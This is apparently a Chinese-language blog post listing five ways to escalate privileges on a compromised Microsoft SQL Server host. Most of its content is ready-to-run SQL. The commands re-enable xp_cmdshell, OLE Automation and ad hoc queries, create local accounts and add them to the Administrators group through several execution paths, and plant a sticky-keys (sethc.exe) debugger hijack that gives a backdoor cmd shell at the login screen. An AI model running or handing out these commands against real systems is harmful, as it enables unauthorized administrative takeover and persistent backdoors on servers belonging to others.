通过Mssql提权的几种姿势

本文记录针对SQL Server数据库,在拿到shell之后进行提权的5种方法。

 

一、 xp_cmdshell提权

上面的数据库连接需要知道sa的密码,连接之后,在下面的sql命令处执行:

exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'

就能成功的创建一个账户aaa并且加到管理员组:

常见问题:

如果执行sql语句不成功,首先检查判断xp_cmdshell是否存在:

select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;

返回1是存在的,返回0则需要通过xplog70.dll恢复。

然后需要开启xp_cmdshell

EXEC sp_configure 'show advanced options', 1 ;

    Reconfigure;

    EXEC sp_configure 'xp_cmdshell', 1 ; --开启xp_cmdshell,如果关闭,需要将这里的1改为"0"

    RECONFIGURE ; --以上命令开启用xp_cmdshell

这四条语句一起执行,然后语句中间没有空格,执行后可启用。

 

二、sp_oacreate和sp_oamethod提权

declare @cmd INT;

exec sp_oacreate 'wscript.shell',@cmd output;

exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';

exec sp_oacreate 'wscript.shell',@cmd output;

exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';

以上语句也是在sql一起执行,语句中间没有空格,但是执行可能会遇到问题:

我们需要开启存储过程:

exec sp_configure 'show advanced options', 1;

RECONFIGURE;

exec sp_configure 'Ole Automation Procedures',1;

RECONFIGURE;

以上语句也是在sql一起执行,语句中间没有空格,如果存储过程删除的话需要利用odsole70.dll恢复存储过程再执行。

这样我们执行上面的语句之后就会创建一个hack的账户,并加到管理员组:

 

三、沙盒提权

这种提权是利用access的沙盒机制,关闭沙盒之后执行代码。

首先用xp_regwrite这个存储这个存储过程对注册表进行写操作,关闭沙盒模式:

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

然后利用sql语句添加一个帐号和密码都为sql$的帐号,同时加入管理员组进行提权:

创建账户:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');

添加到管理员组:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

然后就创建了账户:

遇到的问题:

SQL2005默认是禁用Ad Hoc Distributed,执行命令时,会提示错误。需要开启

exec sp_configure 'show advanced options',1 ;

    reconfigure ;

    exec sp_configure 'Ad Hoc Distributed Queries',1 ;

    reconfigure;

 

四、JOB提权

原理是创建一个任务x,并执行命令,命令执行后的结果,将返回给文档q.txt

首先需要启动sqlagent服务:

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

然后创建任务X,这里x为任务名称,并执行命令,命令执行后的结果,将返回给文本文档q.txt

    use msdb

    exec sp_delete_job null,'x'

    exec sp_add_job 'x'

    exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'

    exec sp_add_jobserver null,'x',@@servername

    exec sp_start_job 'x';

然后就可以看到已经创建了一个hack1的账户并加到了管理员组:

 

 

五、利用映像劫持提权

利用regwrite函数修改注册表,起到劫持作用:

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

然后检查是否劫持成功

    exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

返回没有问题 利用远程连接然后5次shift键,发现没有启动粘滞键,而是启动了cmd,然后就可以创建用户了

posted @ 2020-05-14 17:09  N0r4h  阅读(5419)  评论(1编辑  收藏  举报